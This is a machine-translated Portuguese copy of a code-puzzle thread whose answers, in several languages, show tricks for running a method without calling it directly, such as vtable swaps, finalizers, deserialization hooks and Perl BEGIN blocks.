    CopyMemory ByVal a + &H1C, ByVal a + &H1C + 4, 4
    CopyMemory ByVal a + &H1C + 4, b, 4

    Call example.SomeOtherFunction

End Sub

Isso funciona trocando a função vptr's pelos dois Subs na vtable pela classe.


Cara, você é perigoso ! Agradável!
Mathieu Guindon

Eu diria que se qualificar, porque em VB6 / VBA um método é um membro de uma classe - caso contrário, é um procedimento ;)
Mathieu Guindon

5

Haskell

No haskell, se você fizer:

main=putStrLn "This is the main action."

Ele será executado imediatamente sem chamar seu nome quando você o executar. Magia!


1
Haskell não conta. Você não pode chamar uma ação de E / S, encadeie mais ações de E / S ou atribua-a em algum lugar.
John Dvorak

É o conceito equivalente para ações de E / S.
PyRulez

5

Javascript

Fácil, basta usar on___eventos em JS. Por exemplo:

var img = document.createElement('img')
img.onload = func
img.src = 'http://placehold.it/100'

4

Java

Outra resposta java de mim. Como você vê no código, ele chama diretamente theCalledMethod, mas o método notCalledMethodé executado.

Então, no final, estou fazendo 2 coisas:

  • Chamando um método sem chamá-lo.
  • Não chamando um método chamando-o.
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;

public class ClassRewriting {
    public static void main(String[] args) throws IOException {
        patchClass();
        OtherClass.theCalledMethod();
    }

    private static void patchClass() throws IOException {
        File f = new File("OtherClass.class");
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        try (InputStream is = new BufferedInputStream(new FileInputStream(f))) {
            int c;
            while ((c = is.read()) != -1) baos.write(c);
        }
        String s = baos.toString()
                .replace("theCalledMethod", "myUselessMethod")
                .replace("notCalledMethod", "theCalledMethod");
        try (OutputStream os = new BufferedOutputStream(new FileOutputStream(f))) {
            for (byte b : s.getBytes()) os.write(b);
        }
    }
}

class OtherClass {
    public static void theCalledMethod() {
        System.out.println("Hi, this is the called method.");
    }

    public static void notCalledMethod() {
        System.out.println("This method is not called anywhere, you should never see this.");
    }
}

Executando:

> javac ClassRewriting.java

> java ClassRewriting
This method is not called anywhere, you should never see this.

>

Isso depende da plataforma. Em particular, provavelmente falhará no OS X, onde a codificação de caracteres padrão da plataforma é UTF-8.
Ntskrnl

@ntoskrnl Isso deve ser fácil de corrigir se você passar o nome da codificação como parâmetro para o getBytes()método, ativando-o getBytes("UTF-8"). Como não tenho um OS X, você poderia testar se isso funciona?
22320 Victor Stafusa

UTF-8 não funciona para dados binários. Uma codificação de byte único como ISO-8859-1 deve funcionar, mas o tratamento de dados binários como uma string ainda está errado.
Ntskrnl 03/03

3
@ntoskrnl De fato, estuprar arquivos de classe por fazer o que estou fazendo aqui está errado, a codificação é o menor dos problemas. :)
Victor Stafusa

4

Pitão

class Snake:

    @property
    def sneak(self):
        print("Hey, what's this box doing here!")
        return True

solid = Snake()

if hasattr(solid, 'sneak'):
    print('Solid Snake can sneak')

4

Java

Yay, coleta de lixo!

public class CrazyDriver {

    private static class CrazyObject {
        public CrazyObject() {
            System.out.println("Woo!  Constructor!");
        }

        private void indirectMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            indirectMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
    }

    private static void randomMethod() {
        CrazyObject wut = new CrazyObject();
    }
}

Uma versão para quem inevitavelmente dirá que System.gc()não é confiável:

public class UselessDriver {

    private static class UselessObject {

        public UselessObject() {
            System.out.println("Woo!  Constructor!");
        }

        public void theWinningMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            theWinningMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
        fillTheJVM();
    }


    private static void randomMethod() {
        UselessObject wut = new UselessObject();
    }

    private static void fillTheJVM() {
        try {
            List<Object> jvmFiller = new ArrayList<Object>();
            while(true) {
                jvmFiller.add(new Object());
            }
        }
        catch(OutOfMemoryError oome) {
            System.gc();
        }
    }
}

4

Objetivo-C

(Provavelmente apenas se compilado com clang no Mac OS X)

#import <Foundation/Foundation.h>
#import <objc/runtime.h>

void unusedFunction(void) {
    printf("huh?\n");
    exit(0);
}

int main() {

    NSString *string;
    string = (__bridge id)(void*)0x2A27; // Is this really valid?

    NSLog(@"%@", [string stringByAppendingString:@"foo"]);

    return 0;
}

@interface MyClass : NSObject
@end
@implementation MyClass

+ (void)load {
    Class newClass = objc_allocateClassPair([NSValue class], "MyClass2", 0);
    IMP imp = class_getMethodImplementation(self, @selector(unusedMethod));
    class_addMethod(object_getClass(newClass), _cmd, imp, "");
    objc_registerClassPair(newClass);
    [newClass load];
}

- (void)unusedMethod {
    Class class = [self superclass];
    IMP imp = (IMP)unusedFunction;
    class_addMethod(class, @selector(doesNotRecognizeSelector:), imp, "");
}

@end

Este código usa vários truques para acessar a função não utilizada. Primeiro é o valor 0x2A27. Este é um ponteiro marcado para o número inteiro 42, que codifica o valor no ponteiro para evitar a alocação de um objeto.

O próximo é MyClass. Ele nunca é usado, mas o tempo de execução chama o +loadmétodo quando ele é carregado antes main. Isso cria e registra dinamicamente uma nova classe, usando NSValuecomo superclasse. Ele também adiciona um +loadmétodo para essa classe, usando MyClass's -unusedMethodcomo implementação. Após o registro, ele chama o método load na nova classe (por algum motivo, não é chamado automaticamente).

Como o método de carregamento da nova classe usa a mesma implementação unusedMethodque é efetivamente chamada. Ele pega a superclasse e adiciona unusedFunctioncomo uma implementação para o doesNotRecognizeSelector:método dessa classe . Esse método era originalmente um método de instância MyClass, mas está sendo chamado como método de classe na nova classe, assim selfcomo o novo objeto de classe. Portanto, a superclasse é NSValue, que também é a superclasse NSNumber.

Finalmente, maincorre. Ele pega o valor do ponteiro e o cola em uma NSString *variável (a __bridgeprimeira conversão para void *permitir que isso seja usado com ou sem ARC). Em seguida, ele tenta chamar stringByAppendingString:essa variável. Como na verdade é um número, que não implementa esse método, o doesNotRecognizeSelector:método é chamado, que viaja pela hierarquia de classes até NSValueonde é implementado usando unusedFunction.


Nota: a incompatibilidade com outros sistemas se deve ao uso do ponteiro marcado, que não acredito que tenha sido implementado por outras implementações. Se isso foi substituído por um número criado normalmente, o restante do código deve funcionar bem.


Hm, tente com ciruZ' ObjFW , é um tempo de execução Objective-C bastante decente e um quadro, talvez esta, ou algo próximo, irá trabalhar com ele também ;-)
mirabilos

@mirabilos A única incompatibilidade é o 0x2A27valor, então não sei se isso foi implementado em outro lugar. O ObjFW é definitivamente interessante.
precisa saber é o seguinte


@Bryan Thanks! Eu estava procurando pelo artigo exato e não conseguia lembrar o nome adequado.
precisa saber é o seguinte

@BryanChen ah ok. ughoavgfhw: Claro, só queria apontar o tempo de execução alternativo para o caso de você querer brincar com ele.
mirabilos

3

Javascript

Eu sinto que isso não parece explicitamente chamar a função

window["false"] =  function() { alert("Hello world"); }
window[![]]();

5
Muito limítrofe se você me perguntar.
Cole Johnson

@ColeJohnson Eu acho que ele já cruzou ...
Tomas

3

C # (via using)

using System;

namespace P
{
    class Program : IDisposable
    {
        static void Main(string[] args)
        {
            using (new Program()) ;
        }

        public void Dispose()
        {
            Console.Write("I was called without calling me!");
        }
    }
}

3

Java

package stuff;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class SerialCall {
    static class Obj implements Serializable {
        private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
            System.out.println("Magic!");
        }
    }

    private static final byte[] data = { -84, -19, 0, 5, 115, 114, 0, 20, 115,
            116, 117, 102, 102, 46, 83, 101, 114, 105, 97, 108, 67, 97, 108,
            108, 36, 79, 98, 106, 126, -35, -23, -68, 115, -91, -19, -120, 2,
            0, 0, 120, 112 };

    public static void main(String[] args) throws Exception {
//      ByteArrayOutputStream baos = new ByteArrayOutputStream();
//      ObjectOutputStream out = new ObjectOutputStream(baos);
//      out.writeObject(new Obj());
//      System.out.println(Arrays.toString(baos.toByteArray()));

        ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(data));
        in.readObject();
    }
}

Estou aproveitando um recurso especial da serialização Java. O readObjectmétodo é chamado quando um objeto é desserializado, mas não é chamado diretamente - nem pelo meu código nem pela biblioteca de desserialização. Se você se aprofundar na fonte, verá que, em um nível baixo, o método é chamado internamente via reflexão.


sim; serialização permite piadas bem engraçadas :); btw theres são maneiras semelhantes em outras serialização lobs para java
masterX244

3

Perl

Isto é tão fácil. O código abaixo executa automaticamente o código na sub-rotina, mesmo sem chamada explícita.

sub call_me_plz {
    BEGIN {
        print "Hello, world!\n";
    }
}
# call_me_plz(); # don't call the method

Mesmo se você descomentar a chamada, ela ainda será chamada apenas uma vez.


quão? não consigo ficar por trás da mágica +
masterX244
Ao utilizar nosso site, você reconhece que leu e compreendeu nossa Política de Cookies e nossa Política de Privacidade.
Licensed under cc by-sa 3.0 with attribution required.